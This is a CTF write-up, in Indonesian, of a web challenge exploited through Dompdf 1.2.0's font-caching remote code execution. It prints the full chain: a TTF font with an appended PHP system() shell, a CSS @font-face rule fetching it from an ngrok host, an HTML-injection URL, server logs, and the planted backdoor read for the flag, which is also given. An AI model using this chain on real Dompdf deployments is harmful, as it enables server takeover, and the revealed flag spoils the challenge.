

# Toko Bendera

Player: Constantine

Kategori: Web Exploitation

Challenge

6 Solves



## Toko Bendera 450

Medium-hard

Selamat merayakan hari kemerdekaan Republik Indonesia! Silahkan beli bendera di toko kami!

NB: Untuk sementara waktu, kita tidak menerima pesanan bendera anime.

(Ini mah nyolong challenge sebelah njir)

author: bbayugt

Note: Tidak perlu menggunakan reverse shell

<https://toko-bendera.ctf.forestylab.com/>

View Hint

View Hint



chall.zip

Flag

Submit

---

## Konteks Challenge

Kita diberikan sebuah web application Toko Bendera yang punya fitur untuk mencetak resi pembayaran ke dalam format PDF. Aplikasi ini dibangun menggunakan PHP dan library **Dompdf 1.2.0**. Dari source code yang diberikan (Dockerfile & index.php), terlihat beberapa konfigurasi yang menarik:

1. **Dompdf 1.2.0**: Versi ini diketahui memiliki kerentanan RCE via font caching. PoC ada di Github.
2. `$options->setIsRemoteEnabled(true);`: Mengizinkan Dompdf memuat aset dari URL eksternal.
3. `chmod -R 777 /app/dompdf/lib/fonts`: Direktori font *writable* oleh server.
4. Input Injection: Parameter address pada index.php langsung dirender ke HTML tanpa sanitasi.

Langsung aja kita ambil flag di /flag.txt.

---

## Phase 1: Reconnaissance & Analysis

Awalnya, aku analisa index.php dan Dockerfile. Ketemu bahwa input pengguna pada parameter \$address dimasukkan secara raw ke fungsi \$dompdf->loadHtml().

```
// Snippet index.php
$address = $_GET['address'];
// ...
$dompdf->loadHtml("... <p>Address: $address</p> ...");
```

Ini celah HTML Injection. Tapi, cuma menyuntikkan HTML gak cukup. Karena isRemoteEnabled aktif, saya baca hint pada kerentanan Dompdf yang memungkinkan kita memaksa server download bad font habis itu diexecute sebagai PHP.

Vulnerability Reference: <https://positive.security/blog/dompdf-rce>

---

## Phase 2: Weaponization

### Langkah 1: Menyiapkan Payload

Aku butuh 2 file: exploit.php (font palsu) dan style.css. File exploit.php harus lolos validasi header font oleh Dompdf. Jadi, saya menggunakan file .ttf valid dan menempelkan shell PHP

di bagian paling bawah:

```
wget
https://gitlab.ortax.org/fachri/ctas-box/raw/da120cfdab7289f9dfd5f38e07a5d8
e9dd06d01a/public/fonts/Roboto-Regular.ttf?inline=false -O valid.ttf

cat valid.ttf > exploit.php

echo '<?php system("cat /flag.txt"); ?>' >> exploit.php
```

Sementara file CSS ini berfungsi ngetrigger downloaded font.

```
@font-face {
    font-family: 'pwned';
    src:
    url('https://beatris-remigial-selfishly.ngrok-free.dev/exploit.php/exploit.
    php');
    font-weight: 'normal';
    font-style: 'normal';
}
```

## Langkah 2: Hosting Payload

Karena server target berada di internet publik dan pocku di jaringan lokal, aku pakai ngrok untuk mengekspos server Python lokal saya (Ide dari saudara Gemini):

```
python3 -m http.server 8000

ngrok http 8000
```

---

## Phase 3: Injection & Execution

### Injection (Staging)

Aku kirim payload lewat URL parameter address untuk load bad CSS saya.

#### Payload URL:

<https:// toko-bendera.ctf.forestylab.com/index.php?action=pay&type=Bendera+Indonesia&name=Constantine&address=<link rel=stylesheet href='https://https://beatris-remigial-selfishly.ngrok-free.dev/style.css'>>

Saat URL diakses, server target melakukan callback ke server ngrok-ku.

```
~/0precForesty/toko bendera: ngrok http 8000 - ngrok
ngrok
Using ngrok for OSS? Request a community license: https://ngrok.com/r/oss

Session Status      online
Account             h0wltzxr (Plan: Free)
Version             3.32.0
Region              Asia Pacific (ap)
Latency              399ms
Web Interface        http://127.0.0.1:4040
Forwarding           https://beatris-remigial-selfishly.ngrok-free.dev -> http://localhost:

Connections          ttl    opn    rt1    rt5    p50    p90
                    4      0      0.00   0.00   0.00   0.02

HTTP Requests
-----
23:54:19.297 WIB GET /exploit.php                200 OK
23:54:18.683 WIB GET /style.css                   200 OK
23:43:40.421 WIB GET /style.css                   200 OK
23:43:40.932 WIB GET /exploit.php                200 OK
```

```
constantine ~/0precForesty/toko bendera v8.4.14 23:43 > python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [12/Nov/2025 23:43:40] "GET /style.css HTTP/1.1" 200 -
127.0.0.1 - - [12/Nov/2025 23:43:40] "GET /exploit.php HTTP/1.1" 200 -
```

Log menunjukkan GET /exploit.php dengan status 200 OK. Artinya, font jahat sukses terunduh dan tersimpan di server target.

## Execution (Triggering RCE)

Dompdf menggunakan format penamaan: <font-family>\_<style>\_<md5-url>.php. Aku pakai skrip PHP satu baris (dibantu ChatGPT) untuk mendapatkan nama file:

```
php -r "echo 'pwned_normal_' . md5('https://[URL_NGROK_SAYA]/exploit.php') . '.php';"
```

**Output Filename:** pwned\_normal\_Od3eae0c15b1a0a0a9756621618729fb.php

Langsung saja kita akses *backdoor* tersebut.

URL Target:

[https://toko-bendera.ctf.forestylab.com/dompdf/lib/fonts/pwned\\_normal\\_Od3eaeOc15b1a0a0a9756621618729fb.php](https://toko-bendera.ctf.forestylab.com/dompdf/lib/fonts/pwned_normal_Od3eaeOc15b1a0a0a9756621618729fb.php)

```
ND&: vV+4&Z V+4N&: V+4:Zf V+4&; V+4<'!& 7M<LQB, QhQ~uV+4 &V+4M<LQBQ &V+4Q~"S}S*-StG@qUOH+PoDOY/*W\ -$9! /eCQu@ } ?3?39/301A!!!!z.F&pdV+41h&"&uLVMV+4.&ug[V+47&f&D#  
, its the flag, FORESTY{54945hi_m0N0_54945hi_nI_YlIku_N0_54_0n3_Pi3c3!_wkwwkw}
```

Dan Boom! Flag muncul di antara data biner font, horee.

Flag:

**FORESTY{54945hi\_m0N0\_54945hi\_nI\_YlIku\_N0\_54\_0n3\_Pi3c3!\_wkwwkw}**